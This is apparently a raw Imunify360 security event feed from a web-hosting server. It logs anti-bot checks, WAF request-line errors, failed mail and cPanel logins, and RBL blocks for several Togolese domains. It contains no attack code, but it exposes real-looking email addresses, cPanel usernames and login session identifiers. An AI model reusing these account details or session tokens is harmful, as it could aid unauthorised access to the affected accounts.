34.123.170.104 - - [22/Jun/2026:13:18:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13279179&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782134324 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.6
country_id: 6252001
description:
205.169.39.6 - - [22/Jun/2026:13:18:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10131049&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782134325 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.6


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [22/Jun/2026:13:19:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9817237&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782134376 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.252.43.72
country_id: 1562822
domain: 154.70.82.244
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/154.70.82.244/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 152.59.144.121
country_id: 1269750
description:
152.59.144.121 - - [22/Jun/2026:13:24:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7500182&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782134644 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:152.59.144.121


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:13:30:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6843542&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782135040 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.167.28.7
country_id: 933860
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/e8e6e7 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:13:30:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9672599&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782135032 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.159.163.88
country_id: 690791
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/1748289159 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.41.61.122
country_id: 286963
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/infrastructures-routieres-le-togo-investit-18-milliards-cfa-en-entretien/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.41.61.122
country_id: 286963
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/infrastructures-routieres-le-togo-investit-18-milliards-cfa-en-entretien/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.210.225.196
country_id: 99237
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2025/04/bceao-uemoa.webp 580w, http:/togodailynews.tg/wp-content/uploads/2025/04/bceao-uemoa-300x185.webp 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.232.81.151
country_id: 3996063
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2019/11/20191125_103321.jpg 1480w, http:/togodailynews.tg/wp-content/uploads/2019/11/20191125_103321-235x300.jpg 235w, http:/togodailynews.tg/wp-content/uploads/2019/11/20191125_103321-768x979.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2019/11/20191125_103321-804x1024.jpg 804w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.206.92.50
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2025/08/PIA-Textile.webp 650w, http:/togodailynews.tg/wp-content/uploads/2025/08/PIA-Textile-300x167.webp 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:13:44:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7234244&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782135890 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.77.248.174
country_id: 1814991
description:
2026-06-22 13:45:26 dovecot_login authenticator failed for H=(iZwz98u0lm0z05m5j48eetZ) [120.77.248.174]:50722: 535 Incorrect authentication data (set_id=arse@arse.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:13:45:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13092458&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782135895 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.77.248.174
country_id: 1814991
description:
Jun 22 13:45:24 ns5 auth[2383225]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.77.248.174 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.77.248.174
country_id: 1814991
description:
Jun 22 13:45:37 ns5 auth[2383225]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.77.248.174 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.77.248.174
country_id: 1814991
description:
2026-06-22 13:45:39 dovecot_login authenticator failed for H=(iZwz98u0lm0z05m5j48eetZ) [120.77.248.174]:51462: 535 Incorrect authentication data (set_id=arse@arse.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 59.103.127.198
country_id: 1168579
description:
59.103.127.198 - - [22/Jun/2026:13:48:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6907799&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftogo-la-justice-a-lecoute-des-justiciables%252Ffeed&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782136111 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/togo-la-justice-a-lecoute-des-justiciables/feed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:59.103.127.198


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.213.83.39
country_id: 1643084
description:
185.213.83.39 - - [22/Jun/2026:13:49:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6986181&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782136195 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.213.83.39


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.87.115.175
country_id: 719819
description:
45.87.115.175 - - [22/Jun/2026:13:50:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9923527&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782136243 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.87.115.175


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 177.124.23.241
country_id: 3469034
description:
177.124.23.241 - - [22/Jun/2026:13:51:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6972270&pdata=https%253A%252F%252Fcfpj.tg%252Fkeoo-34291letid.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782136304 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/keoo-34291letid.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:177.124.23.241


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 162.215.14.162
country_id: 6252001
description:
2026-06-22 13:52:55 dovecot_login authenticator failed for H=server-607639.zymcorp.com [162.215.14.162]:46366: 535 Incorrect authentication data (set_id=n.eliam@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 162.215.14.162
country_id: 6252001
description:
Jun 22 13:52:53 ns5 auth[2383225]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 162.215.14.162 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 41.207.189.253
country_id: 2363686
description:
[2026-06-22 13:53:58 +0000] info [webmaild] 41.207.189.253 - kakue@togointerim.net "POST /cpsess5198011605/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.170.118.10] != Current IP Address [41.207.189.253]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.87.80.221
country_id: 1880251
description:
2026-06-22 13:54:14 dovecot_plain authenticator failed for H=221.80.87.34.bc.googleusercontent.com (wzxmiqiud6o4ei09ho) [34.87.80.221]:41450: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 34.87.80.221
country_id: 1880251
description:
Jun 22 13:54:12 ns5 auth[2383225]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 34.87.80.221 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.74.20
country_id: 2623032
description:
158.173.74.20 - - [22/Jun/2026:13:55:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803112&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782136522 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Safari Line/26.6.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.74.20


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 51.83.4.60
country_id: 3017382
description:
[2026-06-22 13:55:24 +0000] info [cpaneld] 51.83.4.60 NEW sodigaz:mnS70vEkpXlLisos address=51.83.4.60,app=cpaneld,creator=sodigaz,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-22 13:56:02 +0000] info [webmaild] 160.242.195.10 - sdogbe@caissederetraites.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.152.210.150
country_id: 357994
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/745d5b HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.111.157.11
country_id: 6252001
description:
[2026-06-22 13:58:57 +0000] info [cpaneld] 172.111.157.11 - sprocaadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.164
country_id: 2635167
description:
[2026-06-22 13:59:37 +0000] info [cpaneld] 5.230.133.164 NEW libertepansel:7tUNA582j5cDEhUY address=5.230.133.164,app=cpaneld,creator=libertepansel,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:14:00:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9988712&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782136837 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:14:00:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10013129&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782136837 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.57
country_id: 1643084
description:
[2026-06-22 14:00:53 +0000] info [cpaneld] 103.65.237.57 - camaegdtomgo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.131.218.8
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/12/BCEAO-la-situation-les-defis-et-les-perspectives-de-lUnion-presentes-au-chef-de-lEtat.jpg 800w, http:/togodailynews.tg/wp-content/uploads/2024/12/BCEAO-la-situation-les-defis-et-les-perspectives-de-lUnion-presentes-au-chef-de-lEtat-300x200.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2024/12/BCEAO-la-situation-les-defis-et-les-perspectives-de-lUnion-presentes-au-chef-de-lEtat-768x512.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2024/12/BCEAO-la-situation-les-defis-et-les-perspectives-de-lUnion-presentes-au-chef-de-lEtat-272x182.jpg 272w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.104.127.16
country_id: 1269750
description:
Jun 22 14:02:17 ns5 auth[2383225]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.104.127.16 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.212.88
country_id: 732800
description:
Jun 22 14:02:36 ns5 auth[2383225]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.212.88 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.212.68
country_id: 732800
description:
Jun 22 14:02:38 ns5 auth[2383225]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.212.68 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.255.145.98
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/753490136 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.205.246.23
country_id: 6252001
description:
[2026-06-22 14:08:35 +0000] info [cpaneld] 71.205.246.23 - ucaouuttg "GET /login/?login_only=1&user=ucaouuttg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ucaouuttg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.59.66.180
country_id: 6252001
description:
[2026-06-22 14:08:39 +0000] info [cpaneld] 172.59.66.180 - ucaouu "GET /login/?login_only=1&user=ucaouu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ucaouu (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 194.146.189.100
country_id: 690791
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2020/01/t\xc3\xa9l\xc3\xa9chargement-1.jpeg 275w, http:/togodailynews.tg/wp-content/uploads/2020/01/t\xc3\xa9l\xc3\xa9chargement-1-272x182.jpeg 272w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.175.229.58
country_id: 1831722
description:
Jun 22 14:12:43 ns5 auth[2383225]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.175.229.58 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.175.229.58
country_id: 1831722
description:
2026-06-22 14:12:45 dovecot_plain authenticator failed for H=(cafe.tg) [185.175.229.58]:46393: 535 Incorrect authentication data (set_id=stephane.o@cafe.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 93.185.162.133
country_id: 1643084
description:
93.185.162.133 - - [22/Jun/2026:14:14:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9882009&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782137639 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:93.185.162.133


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 116.206.188.90
country_id: 1149361
description:
2026-06-22 14:16:14 H=([116.206.188.90]) [116.206.188.90]:5557 F=<waphf@white-ways.com> rejected RCPT <waphf@white-ways.com>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 93.185.162.133
country_id: 1643084
description:
93.185.162.133 - - [22/Jun/2026:14:16:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6985621&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782137784 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:93.185.162.133


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.51.62
country_id: 6252001
domain: emt.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/emt.tg/cgi-bin HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.28.156.139
country_id: 1880251
description:
104.28.156.139 - - [22/Jun/2026:14:16:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7050596&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782137768 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.28.156.139


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 111.67.102.112
country_id: 1831722
description:
111.67.102.112 - - [22/Jun/2026:14:16:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13027229&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782137815 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:111.67.102.112


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:14:17:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7063446&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782137841 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:14:17:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10472049&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782137833 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 152.59.187.68
country_id: 1269750
description:
152.59.187.68 - - [22/Jun/2026:14:19:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7062633&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782137941 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:152.59.187.68


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 169.148.69.28
country_id: 102358
description:
169.148.69.28 - - [22/Jun/2026:14:19:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9935513&pdata=https%253A%252F%252Fwebmail.express.free.netmaster.tg%252F%253Flocale%253Des_es&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782137968 HTTP/2.0" 302 0 webmail.express.free.netmaster.tg "https://webmail.express.free.netmaster.tg/?locale=es_es" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:169.148.69.28


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.171.87
country_id: 3469034
description:
Jun 22 14:22:29 ns5 auth[2383225]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.171.87 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.171.87
country_id: 3469034
description:
Jun 22 14:22:37 ns5 auth[2383225]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.171.87 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-22 14:22:53 +0000] info [webmaild] 160.242.195.10 - sdogbe@caissederetraites.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.152.99
country_id: 3469034
description:
2026-06-22 14:23:41 dovecot_plain authenticator failed for H=([192.168.15.9]) [104.28.152.99]:56764: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 104.28.152.99
country_id: 3469034
description:
Jun 22 14:23:39 ns5 auth[2383225]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 104.28.152.99 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.139.39.18
